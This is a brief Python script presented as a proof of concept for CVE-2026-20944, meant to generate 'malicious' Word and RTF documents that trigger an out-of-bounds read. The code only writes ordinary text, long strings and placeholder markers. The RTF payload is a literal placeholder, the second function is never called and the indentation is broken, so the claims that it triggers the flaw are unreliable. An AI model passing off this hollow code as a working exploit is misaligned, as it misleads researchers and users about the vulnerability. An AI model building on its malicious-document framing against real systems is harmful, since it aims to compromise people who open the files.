The following code is for security research and authorized testing only.
python
# CVE-2026-20944 PoC - Malicious Word Document Generator
# This PoC demonstrates the structure needed to trigger OOB read
# NOTE: Actual exploitation requires specific memory conditions
from docx import Document
from docx.shared import Pt
import struct
def create_poc_docx(output_path):
"""
Generate a PoC document with crafted OLE object to trigger OOB read
This creates a document structure that may trigger the vulnerability
"""
doc = Document()
doc.add_heading('CVE-2026-20944 Test Document', 0)
# Add content that may trigger parsing issues
paragraph = doc.add_paragraph()
run = paragraph.add_run('This document contains crafted content to test OOB read vulnerability.')
run.font.size = Pt(14)
# Add table with potential trigger content
table = doc.add_table(rows=10, cols=10)
for row in table.rows:
for cell in row.cells:
cell.text = 'A' * 500 # Long string to potentially overflow
# Add embedded object placeholder
paragraph2 = doc.add_paragraph()
paragraph2.add_run('[Embedded Object Placeholder - Triggers Word Parser]')
# Save document
doc.save(output_path)
print(f'PoC document saved to: {output_path}')
print('Note: Actual exploitation requires specific conditions and memory layout')
if __name__ == '__main__':
create_poc_docx('CVE-2026-20944-poc.docx')
# Additional PoC: Crafted RTF to trigger OOB read
def create_crafted_rtf():
"""
Generate RTF with crafted data structure
"""
rtf_content = r'''{\rtf1\ansi
{\object\objemb{\*
<crafted binary data with invalid length fields>
}}
}'''
with open('CVE-2026-20944-poc.rtf', 'w') as f:
f.write(rtf_content)
print('Crafted RTF PoC generated')